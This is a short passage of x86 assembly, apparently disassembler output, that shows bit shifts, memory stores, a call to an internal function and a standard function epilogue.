movsx ecx, word [eax]
shl edx, cl
mov word [0x405008], dx
movzx ecx, word [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xb4]
push edx
call fcn.00401760
add esp, 8
movsx eax, byte [ebp - 2]
mov ecx, dword [0x405018]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x28]
mov byte [edx], al
mov eax, dword [ebp - 0x44]
pop esi
mov esp, ebp
pop ebp
ret